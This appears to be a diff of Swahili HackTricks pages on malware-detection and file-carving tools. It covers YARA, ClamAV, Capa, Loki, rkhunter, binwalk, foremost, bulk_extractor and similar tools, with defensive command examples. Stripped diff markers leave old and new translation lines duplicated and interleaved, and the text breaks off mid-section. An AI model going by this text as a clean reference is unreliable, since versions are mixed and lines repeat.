Unaweza kutumia zana [**YaraGen**](https://github.com/Neo23x0/yarGen) kuunda sheria za yara kutoka kwa faili ya binary. Angalia mafunzo haya: [**Sehemu 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Sehemu 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Sehemu 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
|
||||
Unaweza kutumia zana [**YaraGen**](https://github.com/Neo23x0/yarGen) kuzalisha sheria za yara kutoka kwa faili ya binary. Angalia mafunzo haya: [**Sehemu 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Sehemu 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Sehemu 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
|
||||
```bash
|
||||
python3 yarGen.py --update
|
||||
python3.exe yarGen.py --excludegood -m ../../mals/
|
||||
|
|
@ -97,43 +62,7 @@ python3.exe yarGen.py --excludegood -m ../../mals/
|
|||
```
|
||||
sudo apt-get install -y clamav
|
||||
```
|
||||
#### Kagua
|
||||
|
||||
Malware analysis begins with scanning the suspicious file or system for any signs of malicious activity. This involves using antivirus software, network monitoring tools, and other scanning techniques to identify any indicators of compromise (IOCs) or suspicious behavior. The goal is to detect and isolate any potential malware present in the system.
|
||||
|
||||
##### Antivirus Scanning
|
||||
|
||||
Antivirus scanning is a common method used to detect and remove malware. It involves using antivirus software to scan files, directories, and the entire system for known malware signatures. The antivirus software compares the scanned files against a database of known malware signatures and alerts the user if any matches are found.
|
||||
|
||||
##### Network Monitoring
|
||||
|
||||
Network monitoring tools can be used to analyze network traffic and identify any suspicious or malicious activity. These tools monitor network packets and analyze their content to detect any signs of malware communication or unauthorized access attempts. Network monitoring can help identify malware that may be attempting to communicate with command and control (C2) servers or exfiltrate data from the system.
|
||||
|
||||
##### File Analysis
|
||||
|
||||
File analysis involves examining the suspicious file in detail to identify any malicious behavior or hidden functionality. This can be done using various tools and techniques, such as static analysis and dynamic analysis.
|
||||
|
||||
- Static Analysis: Static analysis involves examining the file without executing it. This can include analyzing the file's metadata, examining its structure, and looking for any suspicious or obfuscated code. Static analysis can help identify known malware patterns or indicators of malicious behavior.
|
||||
|
||||
- Dynamic Analysis: Dynamic analysis involves executing the file in a controlled environment, such as a virtual machine or sandbox, to observe its behavior. This can include monitoring system calls, network activity, and file modifications. Dynamic analysis can help identify any malicious behavior that may not be evident during static analysis.
|
||||
|
||||
##### Memory Analysis
|
||||
|
||||
Memory analysis involves examining the system's memory for any signs of malicious activity. This can include analyzing running processes, loaded modules, and network connections. Memory analysis can help identify malware that may be running in memory or any malicious code injected into legitimate processes.
|
||||
|
||||
##### Registry Analysis
|
||||
|
||||
Registry analysis involves examining the system's registry for any signs of malicious activity. The registry is a database that stores configuration settings and other information about the system and its applications. Malware often modifies the registry to achieve persistence or to execute at system startup. Registry analysis can help identify any suspicious or malicious registry entries.
|
||||
|
||||
##### Log Analysis
|
||||
|
||||
Log analysis involves examining system logs, such as event logs and application logs, for any signs of malicious activity. Logs can contain valuable information about system events, user activity, and network connections. Analyzing logs can help identify any abnormal or suspicious behavior that may indicate the presence of malware.
|
||||
|
||||
##### Behavioral Analysis
|
||||
|
||||
Behavioral analysis involves observing the behavior of the suspicious file or system to identify any malicious activity. This can include monitoring system processes, network connections, file modifications, and other system events. Behavioral analysis can help identify any abnormal or malicious behavior that may not be detected through other analysis techniques.
|
||||
|
||||
By performing a thorough scan using these techniques, analysts can gather valuable information about the suspicious file or system and identify any potential malware present. This information can then be used for further analysis and investigation.
|
||||
#### Kuchunguza
|
||||
```bash
|
||||
sudo freshclam #Update rules
|
||||
clamscan filepath #Scan 1 file
|
||||
|
|
@ -141,25 +70,25 @@ clamscan folderpath #Scan the whole folder
|
|||
```
|
||||
### [Capa](https://github.com/mandiant/capa)
|
||||
|
||||
**Capa** inagundua uwezo unaoweza kuwa na nia mbaya katika faili za kutekelezwa: PE, ELF, .NET. Kwa hivyo itapata mambo kama mbinu za Att\&ck, au uwezo wenye shaka kama vile:
|
||||
**Capa** inagundua uwezo wa uwezekano wa kwa faili za kutekelezwa: PE, ELF, .NET. Kwa hivyo itapata vitu kama mbinu za Att\&ck, au uwezo wa shaka kama vile:
|
||||
|
||||
* angalia kosa la OutputDebugString
|
||||
* tekeleza kama huduma
|
||||
* anzisha mchakato
|
||||
* unda mchakato
|
||||
|
||||
Pata katika [**repo ya Github**](https://github.com/mandiant/capa).
|
||||
|
||||
### IOC
|
||||
### IOCs
|
||||
|
||||
IOC inamaanisha Indicator Of Compromise. IOC ni seti ya hali ambazo zinatambua programu isiyo hitajika au programu hasidi iliyothibitishwa. Timu za Blue hutumia aina hii ya ufafanuzi kutafuta faili za aina hii katika mifumo yao na mitandao yao.\
|
||||
Kushiriki ufafanuzi huu ni muhimu sana kwani wakati programu hasidi inatambuliwa kwenye kompyuta na IOC kwa programu hasidi hiyo inaundwa, timu nyingine za Blue zinaweza kuitumia kutambua programu hasidi haraka zaidi.
|
||||
IOC inamaanisha Kiashiria cha Kukiuka. IOC ni seti ya **mazingira yanayotambua** programu fulani inayoweza kutokuwa ya kutaka au **malware** iliyothibitishwa. Timu za Bluu hutumia aina hii ya ufafanuzi kutafuta faili za aina hii ya uovu katika **mifumo** yao na **mitandao**.\
|
||||
Kushiriki ufafanuzi huu ni muhimu sana kwani wakati malware inatambuliwa kwenye kompyuta na IOC kwa malware hiyo inaundwa, Timu zingine za Bluu wanaweza kutumia hiyo kuitambua malware haraka zaidi.
|
||||
|
||||
Zana ya kuunda au kuhariri IOCs ni [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
|
||||
Unaweza kutumia zana kama [**Redline**](https://www.fireeye.com/services/freeware/redline.html) kutafuta IOCs zilizofafanuliwa kwenye kifaa.
|
||||
Zana ya kuunda au kuhariri IOCs ni [**Mhariri wa IOC**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
|
||||
Unaweza kutumia zana kama [**Redline**](https://www.fireeye.com/services/freeware/redline.html) kutafuta IOCs zilizofafanuliwa kwenye kifaa.
|
||||
|
||||
### Loki
|
||||
|
||||
[**Loki**](https://github.com/Neo23x0/Loki) ni skana ya Viashiria Rahisi vya Uvamizi.\
|
||||
[**Loki**](https://github.com/Neo23x0/Loki) ni skana ya Viashiria Rahisi vya Kukiuka.\
|
||||
Ugunduzi unategemea njia nne za ugunduzi:
|
||||
```
|
||||
1. File Name IOC
|
||||
|
|
@ -174,43 +103,43 @@ Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
|
|||
4. C2 Back Connect Check
|
||||
Compares process connection endpoints with C2 IOCs (new since version v.10)
|
||||
```
|
||||
### Linux Malware Detect
|
||||
### Uchunguzi wa Malware wa Linux
|
||||
|
||||
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) ni skanari wa programu hasidi kwa ajili ya Linux iliyotolewa chini ya leseni ya GNU GPLv2, ambayo imeundwa kuzingatia vitisho vinavyokabiliwa katika mazingira ya kuhudhuria pamoja. Inatumia data ya vitisho kutoka kwa mifumo ya udukuzi wa pembe ya mtandao ili kuchunguza programu hasidi ambayo inatumika kwa shambulio na kuzalisha saini za kugundua. Aidha, data ya vitisho pia hutokana na michango ya watumiaji na rasilimali za jamii ya programu hasidi.
|
||||
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) ni skana ya malware kwa Linux iliyotolewa chini ya leseni ya GNU GPLv2, ambayo imeundwa kuzunguka vitisho vinavyokabiliwa katika mazingira ya kuhudumia pamoja. Inatumia data ya vitisho kutoka kwa mifumo ya uchunguzi wa kuvamia pembe ya mtandao ili kutoa malware ambayo inatumika kwa shughuli za mashambulizi na kuzalisha saini za uchunguzi. Aidha, data ya vitisho pia inatokana na michango ya watumiaji na kipengele cha ukaguzi wa LMD na rasilimali za jamii ya malware.
|
||||
|
||||
### rkhunter
|
||||
|
||||
Zana kama [**rkhunter**](http://rkhunter.sourceforge.net) inaweza kutumika kuangalia mfumo wa faili kwa uwezekano wa **rootkits** na programu hasidi.
|
||||
Zana kama [**rkhunter**](http://rkhunter.sourceforge.net) inaweza kutumika kuchunguza mfumo wa faili kwa **rootkits** na malware.
|
||||
```bash
|
||||
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
|
||||
```
|
||||
### FLOSS
|
||||
|
||||
[**FLOSS**](https://github.com/mandiant/flare-floss) ni zana ambayo itajaribu kupata herufi zilizofichwa ndani ya faili za kutekelezwa kwa kutumia njia tofauti.
|
||||
[**FLOSS**](https://github.com/mandiant/flare-floss) ni chombo ambacho kitajaribu kupata strings zilizofichwa ndani ya faili za utekelezaji kwa kutumia njia tofauti.
|
||||
|
||||
### PEpper
|
||||
|
||||
[PEpper](https://github.com/Th3Hurrican3/PEpper) inachunguza mambo ya msingi ndani ya faili ya kutekelezwa (data ya binary, entropy, URLs na IPs, baadhi ya sheria za yara).
|
||||
[PEpper](https://github.com/Th3Hurrican3/PEpper) huchunguza vitu vya msingi ndani ya faili ya utekelezaji (data ya binary, entropy, URLs na IPs, baadhi ya sheria za yara).
|
||||
|
||||
### PEstudio
|
||||
|
||||
[PEstudio](https://www.winitor.com/download) ni zana ambayo inaruhusu kupata habari za faili za kutekelezwa za Windows kama vile uingizaji, utoaji, vichwa, lakini pia itachunguza virusi vya jumla na kupata mbinu za udukuzi zinazowezekana.
|
||||
[PEstudio](https://www.winitor.com/download) ni chombo kinachoruhusu kupata habari za faili za utekelezaji wa Windows kama vile uingizaji, utoaji, vichwa, lakini pia itachunguza virus total na kupata mbinu za shambulizi za uwezekano.
|
||||
|
||||
### Detect It Easy(DiE)
|
||||
|
||||
[**DiE**](https://github.com/horsicq/Detect-It-Easy/) ni zana ya kugundua ikiwa faili imefichwa na pia kupata wafungaji.
|
||||
[**DiE**](https://github.com/horsicq/Detect-It-Easy/) ni chombo cha kugundua ikiwa faili ime **fichwa** na pia kupata **packers**.
|
||||
|
||||
### NeoPI
|
||||
|
||||
[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) ni skripti ya Python ambayo hutumia njia mbalimbali za takwimu kugundua maudhui yaliyofichwa na yaliyofichwa ndani ya faili za maandishi/skripti. Lengo la NeoPI ni kusaidia katika ugunduzi wa nambari ya kabati ya wavuti iliyofichwa.
|
||||
[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) ni skripti ya Python inayotumia aina mbalimbali za **njia za takwimu** kugundua maudhui yaliyofichwa na yaliyofichwa ndani ya faili za maandishi/skripti. Lengo la NeoPI ni kusaidia katika **ugunduzi wa nambari iliyofichwa ya web shell**.
|
||||
|
||||
### **php-malware-finder**
|
||||
|
||||
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) inafanya kazi yake vizuri kabisa kugundua nambari iliyofichwa/isiyoaminika pamoja na faili zinazotumia kazi za PHP mara nyingi hutumiwa katika programu hasi/nyavu za wavuti.
|
||||
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) inafanya bidii yake kugundua **nambari iliyofichwa**/**nambari ya shaka** pamoja na faili zinazotumia kazi za **PHP** mara nyingi hutumiwa katika **malwares**/webshells.
|
||||
|
||||
### Apple Binary Signatures
|
||||
### Saini za Binary za Apple
|
||||
|
||||
Unapochunguza sampuli fulani ya **malware** unapaswa daima **kagua saini** ya faili ya binary kwani **mwandishi** aliyetia saini tayari anaweza kuwa **husiana** na **malware**.
|
||||
Unapochunguza sampuli fulani za **malware** unapaswa daima **kuangalia saini** ya binary kwani **mwendelezaji** aliyetia saini inaweza tayari kuwa **husiana** na **malware.**
|
||||
```bash
|
||||
#Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
|
@ -221,30 +150,31 @@ codesign --verify --verbose /Applications/Safari.app
|
|||
#Check if the signature is valid
|
||||
spctl --assess --verbose /Applications/Safari.app
|
||||
```
|
||||
## Mbinu za Uchunguzi
|
||||
## Mbinu za Kugundua
|
||||
|
||||
### Kupangilia Faili
|
||||
### Kufunga Faili
|
||||
|
||||
Ikiwa unajua kwamba folda fulani inayohifadhi **faili** za seva ya wavuti ilisasishwa mwisho tarehe fulani. **Angalia** tarehe ambayo **faili zote** katika **seva ya wavuti ziliumbwa na kuhaririwa** na ikiwa tarehe yoyote ni **ya kushuku**, angalia faili hiyo.
|
||||
Ikiwa unajua kwamba folda fulani inayohifadhi **faili** za seva ya wavuti ilikuwa **imeboreshwa mwisho tarehe fulani**. **Angalia** tarehe ambayo **faili zote** kwenye **seva ya wavuti ziliumbwa na kuhaririwa** na ikiwa tarehe yoyote ni **ya shaka**, hakiki faili hiyo.
|
||||
|
||||
### Viwango vya Msingi
|
||||
### Vipimo vya Msingi
|
||||
|
||||
Ikiwa faili za folda **hazipaswi kuhaririwa**, unaweza kuhesabu **hash** ya **faili za asili** za folda na **kulinganisha** na zile **za sasa**. Kitu chochote kilichohaririwa kitakuwa **cha kushuku**.
|
||||
Ikiwa faili za folda **hazipaswi kuhaririwa**, unaweza kuhesabu **hash** ya **faili za asili** za folda na **kuzilinganisha** na **za sasa**. Kitu chochote kilichohaririwa kitakuwa **cha shaka**.
|
||||
|
||||
### Uchambuzi wa Takwimu
|
||||
|
||||
Wakati habari inahifadhiwa kwenye magogo, unaweza **angalia takwimu kama mara ngapi kila faili ya seva ya wavuti ilipatikana kwa sababu web shell inaweza kuwa moja ya mara nyingi**.
|
||||
Wakati habari inahifadhiwa kwenye magogo unaweza **kuchunguza takwimu kama mara ngapi kila faili ya seva ya wavuti ilipatikana kwani ganda la wavuti inaweza kuwa mojawapo ya**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & jifunze AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & jifunze GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,27 +1,28 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inayotangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Zana za Carving
|
||||
# Vyombo vya Carving
|
||||
|
||||
## Autopsy
|
||||
|
||||
Zana maarufu zaidi inayotumiwa katika uchunguzi wa kisayansi wa kuchimbua faili kutoka kwa picha ni [**Autopsy**](https://www.autopsy.com/download/). Pakua, iweke na ifanye kazi ya kuchunguza faili ili kupata faili "zilizofichwa". Kumbuka kuwa Autopsy imejengwa ili kusaidia picha za diski na aina nyingine za picha, lakini sio faili rahisi.
|
||||
Zana ya kawaida sana inayotumiwa katika uchunguzi wa kiforensiki kutoa faili kutoka kwa picha ni [**Autopsy**](https://www.autopsy.com/download/). Pakua, iweke na ifanye iingize faili ili kupata faili "zilizofichwa". Kumbuka kwamba Autopsy imejengwa kusaidia picha za diski na aina nyingine za picha, lakini sio faili za kawaida.
|
||||
|
||||
## Binwalk <a id="binwalk"></a>
|
||||
|
||||
**Binwalk** ni zana ya kutafuta faili za binary kama picha na faili za sauti kwa faili na data iliyowekwa ndani yake.
|
||||
**Binwalk** ni zana ya kutafuta faili za binary kama picha na faili za sauti kwa faili zilizojumuishwa na data.
|
||||
Inaweza kusakinishwa na `apt` hata hivyo [chanzo](https://github.com/ReFirmLabs/binwalk) kinaweza kupatikana kwenye github.
|
||||
**Amri muhimu**:
|
||||
```bash
|
||||
|
|
@ -32,7 +33,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
## Foremost
|
||||
|
||||
Chombo kingine cha kawaida cha kupata faili zilizofichwa ni **foremost**. Unaweza kupata faili ya usanidi ya foremost katika `/etc/foremost.conf`. Ikiwa unataka tu kutafuta faili fulani maalum, toa maoni kwenye faili hizo. Ikiwa haujatoa maoni yoyote, foremost itatafuta aina za faili zilizowekwa kwa usanidi wake wa chaguo-msingi.
|
||||
Chombo kingine cha kawaida cha kutafuta faili zilizofichwa ni **foremost**. Unaweza kupata faili ya usanidi wa foremost katika `/etc/foremost.conf`. Ikiwa unataka tu kutafuta baadhi ya faili maalum, toa alama ya maoni kwao. Ikiwa hutotoa alama ya maoni kwa kitu chochote, foremost itatafuta aina zilizowekwa kwa msingi.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
|
@ -40,30 +41,30 @@ foremost -v -i file.img -o output
|
|||
```
|
||||
## **Scalpel**
|
||||
|
||||
**Scalpel** ni chombo kingine kinachoweza kutumika kupata na kuchimbua **faili zilizojumuishwa katika faili**. Katika kesi hii, utahitaji kuondoa maoni kutoka kwenye faili ya usanidi \(_/etc/scalpel/scalpel.conf_\) aina za faili unazotaka izichimbue.
|
||||
**Scalpel** ni chombo kingine kinachoweza kutumika kutafuta na kutoa **faili zilizojumuishwa katika faili**. Katika kesi hii utahitaji kufuta maoni kutoka kwenye faili ya usanidi \(_/etc/scalpel/scalpel.conf_\) aina za faili unazotaka izitoa.
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
```
|
||||
## Bulk Extractor
|
||||
|
||||
Herramienta hii iko ndani ya kali lakini unaweza kuipata hapa: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk_extractor)
|
||||
Zana hii iko ndani ya kali lakini unaweza kuipata hapa: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk_extractor)
|
||||
|
||||
Herramienta hii inaweza kuchunguza picha na **kuchimbua pcaps** ndani yake, **taarifa za mtandao (URLs, domains, IPs, MACs, mails)** na **faili zaidi**. Unachotakiwa kufanya ni:
|
||||
Zana hii inaweza skani picha na **kutoa pcaps** ndani yake, **taarifa za mtandao\(URLs, uwanja, IPs, MACs, barua pepe\)** na **faili zaidi**. Unachohitaji kufanya ni:
|
||||
```text
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
Pitia **habari zote** ambazo zimekusanywa na zana \(maneno ya siri?\), **chambua** pakiti \(soma [**uchambuzi wa Pcaps**](../pcap-inspection/)\), tafuta **anwani za kushangaza** \(anwani zinazohusiana na **programu hasidi** au **zisizokuwepo**\).
|
||||
Pitia **maelezo yote** ambayo chombo kimekusanya \(nywila?\), **chambua** **pakiti** \(soma [**Uchambuzi wa Pcaps**](../uchunguzi-wa-pcap/)\), tafuta **vikoa vya ajabu** \(vikoa vinavyohusiana na **programu hasidi** au **visivyokuwepo**\).
|
||||
|
||||
## PhotoRec
|
||||
|
||||
Unaweza kuipata kwenye [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
|
||||
|
||||
Inakuja na toleo la GUI na CLI. Unaweza kuchagua **aina za faili** unazotaka PhotoRec ifanye utafutaji.
|
||||
Inakuja na toleo la GUI na CLI. Unaweza kuchagua **aina za faili** unazotaka PhotoRec iitafute.
|
||||
|
||||
|
||||
|
||||
# Zana za Kuchimba Data Maalum
|
||||
# Vyombo vya Kuchonga Data Maalum
|
||||
|
||||
## FindAES
|
||||
|
||||
|
|
@ -71,23 +72,7 @@ Inatafuta funguo za AES kwa kutafuta ratiba zao za funguo. Inaweza kupata funguo
|
|||
|
||||
Pakua [hapa](https://sourceforge.net/projects/findaes/).
|
||||
|
||||
# Zana Zingine za Kuboresha
|
||||
# Vyombo vya Kuboresha
|
||||
|
||||
Unaweza kutumia [**viu** ](https://github.com/atanunq/viu)kuona picha kutoka kwenye terminal.
|
||||
Unaweza kutumia zana ya mstari wa amri ya linux **pdftotext** kubadilisha pdf kuwa maandishi na kuyasoma.
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
Unaweza kutumia chombo cha mstari wa amri cha linux **pdftotext** kubadilisha pdf kuwa maandishi na kusoma.
|
||||
|
|
|
|||
|
|
@ -1,46 +1,47 @@
|
|||
# Ukaguzi wa Pcap
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Spain** na moja ya muhimu zaidi barani **Ulaya**. Kwa **kukuza maarifa ya kiufundi**, mkutano huu ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila fani.
|
||||
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa ** lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="info" %}
|
||||
